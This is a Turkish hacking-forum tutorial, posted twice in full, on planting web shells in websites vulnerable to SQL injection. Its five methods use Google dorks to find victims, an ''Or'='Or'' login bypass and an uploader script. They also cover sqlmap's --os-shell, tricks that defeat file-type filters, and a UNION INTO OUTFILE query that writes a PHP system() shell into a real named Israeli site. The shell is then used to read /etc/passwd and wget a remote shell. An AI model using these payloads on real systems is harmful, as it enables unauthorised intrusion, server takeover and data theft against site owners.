Hepinize selamlar arkadaşlar bu konumuzda SQL açığı bulunan hedef siteye nasıl shell atabiliriz bunu göstereceğim. Öncelikle shell atmanın birkaç yöntemi var. Siz istediğiniz yöntemi kullanabilirsiniz. Yada olmadıysa diğer yöntemi kullanarak da shell atabilirsiniz.
Ancak shell atabilmek için hedef sitemizin admin bilgilerine ve paneline ihtiyacımız var. SQL açığını sömürmeyi, admin bilgilerini almayı, panel bulmayı vb. zaten bu konumuzda geniş ve detaylı anlatımımızla anlatmıştık. Dileyen okuyabilir;
Okumak İçin Tıklayınız
Manuel SQL ile ilk verileri alırız ardından da paneli bulup shell atabiliriz. Admin panelinde takılanlar için admin panel bypass yöntemini de göstereceğim. Yada SQLMap aracını kullanarak da atabiliriz. Tabi her iki yöntem içinde ayrı yetkiler gerekebilir.
1. Yöntem
İlk olarak hedef site bulalım.
Google'a gelip " inurl:admin/login.php " dorkumu aratıyorum.
Karşıma pek çok site geliyor.
Bu sitelerden herhangi birini seçiyorum.
Zaten direkt admin paneline bizi yönlendirecek. Fakat admin bilgilerini bilmiyoruz. İşte asıl mesele de tam olarak burası.
Username ve password kısmına da aynı kodu yazıyorum. Bu bypass kodumuz. Bu kodlar değişkenlik gösterebilir illa ki bunu kullanmak zorunda değilsiniz.
''Or'='Or''
Kodumuzu yazdıktan sonra login diyorum.
Login dedikten sonra sorunsuz bir şekilde admin paneline giriş yaptık. Burada dosya yükleme butonu olduğundan buradan shellimizi yükleyip atabiliriz.
Ben shellimi attım fakat kabul etmedi ne yapmalıyım? derseniz onun da kolay bir yöntemi var.
Shellinizi .php değilde .txt olan kodlarını deneyin. Bu genelde wordpress sitelerde yüksek ihtimal olur. Veya uzantısını değiştirerek .gif , .jpeg vb. yapabilirsiniz.
Yada basit bir uploader scripti yüklemeyi deneyin ve daha sonra bu yüklediğiniz upload script ile shell dosyanızı upload etmeye çalışın. Örnek bir upload script kodu aşağıdadır.
HTML:<!DOCTYPE html> <html> <head> <title>Upload your files</title> </head> <bOdy> <form enctype="multipart/form-data" action="upload.php" method="POST"> <p>Upload your file</p> <input type="file" name="uploaded_file"></input><br /> <input type="submit" value="Upload"></input> </form> </bOdy> </html> <?PHP if(!empty($_FILES[’uploaded_file’])) { $path = "uploads/"; $path = $path . basename( $_FILES[’uploaded_file’][’name’]); if(move_uploaded_file($_FILES[’uploaded_file’][’tmp_name’], $path)) { echo "The file ". basename( $_FILES[’uploaded_file’][’name’]). " has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } ?>
Upload scriptimizi yükleyerek shellimizi atabiliriz. Bu sayede güvenlik duvarını atlatırız. Bu scriptimizde zararlı birşey olmadığı için kabul edilecektir. Bu sayede shell de dahil zararlı yazılımlar enjekte edilebilir.
2. Yöntem
Hedef sitemize shell atmada bize yardımcı olacak araçlardan birisi de SQLMap aracıdır. Bu araç sayesinde databaseleri çekebilir, admin bilgilerine ulaşabilir ve shell atabiliriz.
İlk başta bir sql açıklı site bulduk ve bu açıklı sitemize shell sokmak istiyoruz. Öncelikle Sitemizin Sql İnjection Açığından Faydalanarak Sqlmap ile Databaseye girdik.
Daha Sonra --dbs kısmını silip --os-shell komutu yazalım.
Karşımıza 4 Seçenekli Bir Soru geldi.
Which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
Kısaca Bu Web Sitesi Hangi Dil İle Kodlanmış diyor bizim sitemiz php ile kodlandığı için 4 Numaralı Seçenek olan PHP‘yi seçiyorum siz bu işlemi başka bir siteye uyguladığınızda Sitenin yazılım dili değişkenlik gösterebilir.
Gördüğünüz gibi Kendisi Tek Tek Deneyerek Shelli Upload Etti.
Bize verilen linke tıkladığımızda bizi shell yükleme kısmına gönderiyor. Buradan shell upload edebiliriz. Upload edilememe gibi bir hata ile karşılaşmayız çünkü bu upload kısmı sitenin değil sqlmap aracımız ile yüklediğimiz upload scriptidir. Bu nedenle sorunsuz bir şekilde shell veya zararlı yazılım enjekte edilebilir.
Ekran görüntüsü;
Sonra bize;
do you want to retrieve the command standard output?
yani;
komut standart çıktısını almak istiyor musunuz?
diyor. Y diyerek devam edelim. Bu bize shell yükleme kısımlarını gösterir.
İstediğimiz yere istediğimiz dizine shellimizi upload edebiliriz. Yüklediğimiz shellimizi sorunsuz olarak çalıştırabiliriz.
Yüklediğimiz shellden görüntü;
Bu method http sitelerde yüksek ihtimal işe yarar genelde koruma vb. bulunmaz ve rahatlıkla shell atılabilir, olmama ihtimali nadirdir. Https siteler için de denenebilir ama aracımız sabit yöntemleri denediğinden başarısız olma ihtimali de mevcut.
Bu nedenle manuel olarak shell atmak her zaman daha iyidir. Fakat bu yöntem de kullanılabilir.
3. Yöntem
Diğer bir bypass ve shell yükleme yöntemimiz ise diyelim ki hedef sitemizin admin paneline girdik fakat shell atılmaya izin verilmiyor yada engelleniyor. Shell kodlarını denedik veyahut uzantı değiştirdik ancak gene de kabul edilmedi.
O zaman firebug eklentisini deneyebilirsiniz;
Firebug eklentisi ne oluyor diyecek olursanız firebug eklentisi burp suite yada kali linuxda hedef siteyi detaylıca incelememize yardımcı olan ve gerekirse de kodlarıyla oynarak dosya yüklememize izin veren kullanıma uygun ve bir o kadar da elverişli bir eklentidir.
Bazı durumlarda shell yükleyeceğiniz site sunucu taraflı güvenlik yerine istemci taraflı güvenlik filtreleri çalışır. Bu gibi bir durumla karşılaşırsanız Mozilla için Firebug eklentisini indirip kurun ve upload html dosyasını aşağıdaki gibi düzenleyin.
HTML:<form enctype=\\"multipart/form-data\\" action=\\"uploader.php\\" method=\\"POST\\"> Upload DRP File: <input name=\\"Upload Saved Replay\\" type=\\"file\\" accept=\\"*.jpg\\"/><br /> <input type=\\"submit\\" value=\\"Upload File\\" /> </form>
buradaki accept=\\"*.jpg\\ kısmını accept=\\"*.*\\ olarak değiştirip kayıt edin bu şekilde uzantı kontrolünü bypass edip shellinizi yükleyebilirsiniz.
Firebug Eklentisi İndirip Kurmak ve Kullanabilmek İçin Tıklayınız
4. Yöntem
4. shell yükleme yöntemimizde ise shellimizi resim formatında sunucuyu kandırarak resim gibi yükleyebiliriz.
Bunun için;
bazen serverı bypass ederken yine Mozilla’nın Tamper eklentisinden yararlanılır. Bunun için store’den tamper data eklentisini kurun. Tamper eklentisi dosya yüklememize imkan sağlayan bir eklentidir.
daha sonra shell atmak istediğiniz siteye gidin ve start tamper eklentisini çalıştırın.
daha sonra shellinizi upload edin. daha sonra Continue tampering ekranı gelecek tamper butonuna basarak devam edin.
gelen ekrandan post data kısmındaki verilerin içinden application/octet-stream kısmını bulup burayı image/gif yada image/jpg olarak değiştirin daha sonra submit butonuna tıklayarak devam edin bu yolla shellinizi resim dosya gibi sunucuya yükleyebilirsiniz.
Tamper eklentisinin chrome gibi farklı tarayıcılar için de versiyonları bulunmaktadır onları da indirip kullanabilirsiniz.
Bu bağlantıyı da ziyaret edebilirsiniz;
Tamper Data Hakkında Daha Fazla Bilgi İçin Tıklayınız
5. Yöntem
5. ve son yöntemimizde ise sql açıklı sitemizde yazma yetkisi izni var mı yok mu buna bakacağız, var ise shellimizi upload edeceğiz.
SQL açıklı herhangi bir site bulup deneyelim.
Sitemizi bulduktan sonra kolon sayısını bulalım ve ekrana yazdıralım.
Bir sonraki işlem olarak DB adını öğrenelim.
DB isminin mattat_mattat olduğunu öğrendik. Şimdi DB userimize bakalım.
DB userimiz olan mattat_mattat@localhost ekrana yazdırdık. Database ile ilgili gerekli bilgileri aldık.
Şimdi file_priv komutunu kullanacağız. Peki bu ne demek?
file_priv sunucuda dosya okuma yazma işlemlerinde kullandığımız komutlardır.
Yani bu şekilde;
mattat.co.il/show_img.php?id=-27+union+select+1,file_priv mysql.user where='mattat_mattat'--
Komutumuzu yazdıktan sonra dizini bulmamız gerek, ' işaretini koyduğumuz zaman dizinimizi görmüştük;
/home/mattat/public_html/show_img.php
dizinin bulunmasının ardından bu komutu yazıyoruz;
http://www.mattat.co.il/show_img.php?id=-27+union+select+1,"<?system($_REQUEST['cmd']);?>"
into outfile '/home/mattat/public_html/show_img.php--
önemli kısıma geldik. başarılı olup olmadığımızı anlayacağız.
bu komutlardan herhnagi birini yazarak sorgulama gerçekleştirelim;
mattat.co.il/show_img.php?id=cat /etc/passwd
mattat.co.il/show_img.php?id=cat /named.conf
mattat.co.il/show_img.php?id=cat /httpd/httpd.conf
ekrana yansıtmayı başardık. daha sonra shell atmaya sıra geldi.
Bunun için wget komutunu kullanacağız.
mattat.co.il/show_img.php?id=wget -O http://shell-sitenizi-yazın/up.txt cw.php
shell sitesi bulup o adresi yazın. siteden istenilen shelli oto olarak çekip yazdıracağız.
shellimizin ismini cw.php olarak yazdırdık.
adrese gidelim;
görüldüğü üzere başarılı bir şekilde shell upload işlemimiz gerçekleşti.
ek olarak yardımcı olması adına komutlarımız;
Select_priv : Kayıtları okuma
Insert_priv : Kayıt ekleme
Update_priv : Kayıt değiştirme/güncelleme
Delete_priv : Kayıt silme
Create_priv : Veritabanı/tablo yaratma
Drop_priv : Veritabanı/tablo kaldırma
Reload_priv : MySQLi yeniden başlatma
Shutdown_priv : MySQLi kapatma
Process_priv : MySQLde çalışan işlemleri takip etme
File_priv : Sunucudan dosya okuyup / yazma
Grant_priv : Başka kullanıcılara yetki verme
Index_priv : Indeks yaratma, değiştirme, silme
Alter_priv : Tablo ya da veritabanının yapısını değiştirme
Show_db_priv : Veritabanı listeleme
Lock_tables_priv : Tablo kitleme
Max_questions : Bir saat içinde yapılabilecek enfazla sorgu sayısı
Max_updates : Bir saat içinde yapılabilecek en fazla güncelleme sorgusu sayısı
Max_connections : Bir saat içinde yapılabilecek en fazla bağlantı sayısı
Genel olarak yöntemler ve methodlar bu şekildedir arkadaşlar.
Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...
eline sağlık
Hepinize selamlar arkadaşlar bu konumuzda SQL açığı bulunan hedef siteye nasıl shell atabiliriz bunu göstereceğim. Öncelikle shell atmanın birkaç yöntemi var. Siz istediğiniz yöntemi kullanabilirsiniz. Yada olmadıysa diğer yöntemi kullanarak da shell atabilirsiniz.
Ancak shell atabilmek için hedef sitemizin admin bilgilerine ve paneline ihtiyacımız var. SQL açığını sömürmeyi, admin bilgilerini almayı, panel bulmayı vb. zaten bu konumuzda geniş ve detaylı anlatımımızla anlatmıştık. Dileyen okuyabilir;
Okumak İçin Tıklayınız
Manuel SQL ile ilk verileri alırız ardından da paneli bulup shell atabiliriz. Admin panelinde takılanlar için admin panel bypass yöntemini de göstereceğim. Yada SQLMap aracını kullanarak da atabiliriz. Tabi her iki yöntem içinde ayrı yetkiler gerekebilir.
1. Yöntem
İlk olarak hedef site bulalım.
Google'a gelip " inurl:admin/login.php " dorkumu aratıyorum.
Karşıma pek çok site geliyor.
Bu sitelerden herhangi birini seçiyorum.
Zaten direkt admin paneline bizi yönlendirecek. Fakat admin bilgilerini bilmiyoruz. İşte asıl mesele de tam olarak burası.
Username ve password kısmına da aynı kodu yazıyorum. Bu bypass kodumuz. Bu kodlar değişkenlik gösterebilir illa ki bunu kullanmak zorunda değilsiniz.
''Or'='Or''
Kodumuzu yazdıktan sonra login diyorum.
Login dedikten sonra sorunsuz bir şekilde admin paneline giriş yaptık. Burada dosya yükleme butonu olduğundan buradan shellimizi yükleyip atabiliriz.
Ben shellimi attım fakat kabul etmedi ne yapmalıyım? derseniz onun da kolay bir yöntemi var.
Shellinizi .php değilde .txt olan kodlarını deneyin. Bu genelde wordpress sitelerde yüksek ihtimal olur. Veya uzantısını değiştirerek .gif , .jpeg vb. yapabilirsiniz.
Yada basit bir uploader scripti yüklemeyi deneyin ve daha sonra bu yüklediğiniz upload script ile shell dosyanızı upload etmeye çalışın. Örnek bir upload script kodu aşağıdadır.
HTML:<!DOCTYPE html> <html> <head> <title>Upload your files</title> </head> <bOdy> <form enctype="multipart/form-data" action="upload.php" method="POST"> <p>Upload your file</p> <input type="file" name="uploaded_file"></input><br /> <input type="submit" value="Upload"></input> </form> </bOdy> </html> <?PHP if(!empty($_FILES[’uploaded_file’])) { $path = "uploads/"; $path = $path . basename( $_FILES[’uploaded_file’][’name’]); if(move_uploaded_file($_FILES[’uploaded_file’][’tmp_name’], $path)) { echo "The file ". basename( $_FILES[’uploaded_file’][’name’]). " has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } ?>
Upload scriptimizi yükleyerek shellimizi atabiliriz. Bu sayede güvenlik duvarını atlatırız. Bu scriptimizde zararlı birşey olmadığı için kabul edilecektir. Bu sayede shell de dahil zararlı yazılımlar enjekte edilebilir.
2. Yöntem
Hedef sitemize shell atmada bize yardımcı olacak araçlardan birisi de SQLMap aracıdır. Bu araç sayesinde databaseleri çekebilir, admin bilgilerine ulaşabilir ve shell atabiliriz.
İlk başta bir sql açıklı site bulduk ve bu açıklı sitemize shell sokmak istiyoruz. Öncelikle Sitemizin Sql İnjection Açığından Faydalanarak Sqlmap ile Databaseye girdik.
Daha Sonra --dbs kısmını silip --os-shell komutu yazalım.
Karşımıza 4 Seçenekli Bir Soru geldi.
Which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
Kısaca Bu Web Sitesi Hangi Dil İle Kodlanmış diyor bizim sitemiz php ile kodlandığı için 4 Numaralı Seçenek olan PHP‘yi seçiyorum siz bu işlemi başka bir siteye uyguladığınızda Sitenin yazılım dili değişkenlik gösterebilir.
Gördüğünüz gibi Kendisi Tek Tek Deneyerek Shelli Upload Etti.
Bize verilen linke tıkladığımızda bizi shell yükleme kısmına gönderiyor. Buradan shell upload edebiliriz. Upload edilememe gibi bir hata ile karşılaşmayız çünkü bu upload kısmı sitenin değil sqlmap aracımız ile yüklediğimiz upload scriptidir. Bu nedenle sorunsuz bir şekilde shell veya zararlı yazılım enjekte edilebilir.
Ekran görüntüsü;
Sonra bize;
do you want to retrieve the command standard output?
yani;
komut standart çıktısını almak istiyor musunuz?
diyor. Y diyerek devam edelim. Bu bize shell yükleme kısımlarını gösterir.
İstediğimiz yere istediğimiz dizine shellimizi upload edebiliriz. Yüklediğimiz shellimizi sorunsuz olarak çalıştırabiliriz.
Yüklediğimiz shellden görüntü;
Bu method http sitelerde yüksek ihtimal işe yarar genelde koruma vb. bulunmaz ve rahatlıkla shell atılabilir, olmama ihtimali nadirdir. Https siteler için de denenebilir ama aracımız sabit yöntemleri denediğinden başarısız olma ihtimali de mevcut.
Bu nedenle manuel olarak shell atmak her zaman daha iyidir. Fakat bu yöntem de kullanılabilir.
3. Yöntem
Diğer bir bypass ve shell yükleme yöntemimiz ise diyelim ki hedef sitemizin admin paneline girdik fakat shell atılmaya izin verilmiyor yada engelleniyor. Shell kodlarını denedik veyahut uzantı değiştirdik ancak gene de kabul edilmedi.
O zaman firebug eklentisini deneyebilirsiniz;
Firebug eklentisi ne oluyor diyecek olursanız firebug eklentisi burp suite yada kali linuxda hedef siteyi detaylıca incelememize yardımcı olan ve gerekirse de kodlarıyla oynarak dosya yüklememize izin veren kullanıma uygun ve bir o kadar da elverişli bir eklentidir.
Bazı durumlarda shell yükleyeceğiniz site sunucu taraflı güvenlik yerine istemci taraflı güvenlik filtreleri çalışır. Bu gibi bir durumla karşılaşırsanız Mozilla için Firebug eklentisini indirip kurun ve upload html dosyasını aşağıdaki gibi düzenleyin.
HTML:<form enctype=\\"multipart/form-data\\" action=\\"uploader.php\\" method=\\"POST\\"> Upload DRP File: <input name=\\"Upload Saved Replay\\" type=\\"file\\" accept=\\"*.jpg\\"/><br /> <input type=\\"submit\\" value=\\"Upload File\\" /> </form>
buradaki accept=\\"*.jpg\\ kısmını accept=\\"*.*\\ olarak değiştirip kayıt edin bu şekilde uzantı kontrolünü bypass edip shellinizi yükleyebilirsiniz.
Firebug Eklentisi İndirip Kurmak ve Kullanabilmek İçin Tıklayınız
4. Yöntem
4. shell yükleme yöntemimizde ise shellimizi resim formatında sunucuyu kandırarak resim gibi yükleyebiliriz.
Bunun için;
bazen serverı bypass ederken yine Mozilla’nın Tamper eklentisinden yararlanılır. Bunun için store’den tamper data eklentisini kurun. Tamper eklentisi dosya yüklememize imkan sağlayan bir eklentidir.
daha sonra shell atmak istediğiniz siteye gidin ve start tamper eklentisini çalıştırın.
daha sonra shellinizi upload edin. daha sonra Continue tampering ekranı gelecek tamper butonuna basarak devam edin.
gelen ekrandan post data kısmındaki verilerin içinden application/octet-stream kısmını bulup burayı image/gif yada image/jpg olarak değiştirin daha sonra submit butonuna tıklayarak devam edin bu yolla shellinizi resim dosya gibi sunucuya yükleyebilirsiniz.
Tamper eklentisinin chrome gibi farklı tarayıcılar için de versiyonları bulunmaktadır onları da indirip kullanabilirsiniz.
Bu bağlantıyı da ziyaret edebilirsiniz;
Tamper Data Hakkında Daha Fazla Bilgi İçin Tıklayınız
5. Yöntem
5. ve son yöntemimizde ise sql açıklı sitemizde yazma yetkisi izni var mı yok mu buna bakacağız, var ise shellimizi upload edeceğiz.
SQL açıklı herhangi bir site bulup deneyelim.
Sitemizi bulduktan sonra kolon sayısını bulalım ve ekrana yazdıralım.
Bir sonraki işlem olarak DB adını öğrenelim.
DB isminin mattat_mattat olduğunu öğrendik. Şimdi DB userimize bakalım.
DB userimiz olan mattat_mattat@localhost ekrana yazdırdık. Database ile ilgili gerekli bilgileri aldık.
Şimdi file_priv komutunu kullanacağız. Peki bu ne demek?
file_priv sunucuda dosya okuma yazma işlemlerinde kullandığımız komutlardır.
Yani bu şekilde;
mattat.co.il/show_img.php?id=-27+union+select+1,file_priv mysql.user where='mattat_mattat'--
Komutumuzu yazdıktan sonra dizini bulmamız gerek, ' işaretini koyduğumuz zaman dizinimizi görmüştük;
/home/mattat/public_html/show_img.php
dizinin bulunmasının ardından bu komutu yazıyoruz;
http://www.mattat.co.il/show_img.php?id=-27+union+select+1,"<?system($_REQUEST['cmd']);?>"
into outfile '/home/mattat/public_html/show_img.php--
önemli kısıma geldik. başarılı olup olmadığımızı anlayacağız.
bu komutlardan herhnagi birini yazarak sorgulama gerçekleştirelim;
mattat.co.il/show_img.php?id=cat /etc/passwd
mattat.co.il/show_img.php?id=cat /named.conf
mattat.co.il/show_img.php?id=cat /httpd/httpd.conf
ekrana yansıtmayı başardık. daha sonra shell atmaya sıra geldi.
Bunun için wget komutunu kullanacağız.
mattat.co.il/show_img.php?id=wget -O http://shell-sitenizi-yazın/up.txt cw.php
shell sitesi bulup o adresi yazın. siteden istenilen shelli oto olarak çekip yazdıracağız.
shellimizin ismini cw.php olarak yazdırdık.
adrese gidelim;
görüldüğü üzere başarılı bir şekilde shell upload işlemimiz gerçekleşti.
ek olarak yardımcı olması adına komutlarımız;
Select_priv : Kayıtları okuma
Insert_priv : Kayıt ekleme
Update_priv : Kayıt değiştirme/güncelleme
Delete_priv : Kayıt silme
Create_priv : Veritabanı/tablo yaratma
Drop_priv : Veritabanı/tablo kaldırma
Reload_priv : MySQLi yeniden başlatma
Shutdown_priv : MySQLi kapatma
Process_priv : MySQLde çalışan işlemleri takip etme
File_priv : Sunucudan dosya okuyup / yazma
Grant_priv : Başka kullanıcılara yetki verme
Index_priv : Indeks yaratma, değiştirme, silme
Alter_priv : Tablo ya da veritabanının yapısını değiştirme
Show_db_priv : Veritabanı listeleme
Lock_tables_priv : Tablo kitleme
Max_questions : Bir saat içinde yapılabilecek enfazla sorgu sayısı
Max_updates : Bir saat içinde yapılabilecek en fazla güncelleme sorgusu sayısı
Max_connections : Bir saat içinde yapılabilecek en fazla bağlantı sayısı
Genel olarak yöntemler ve methodlar bu şekildedir arkadaşlar.
Okuduğunuz için teşekkürler. Başka bir konuda görüşmek dileğiyle...
Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.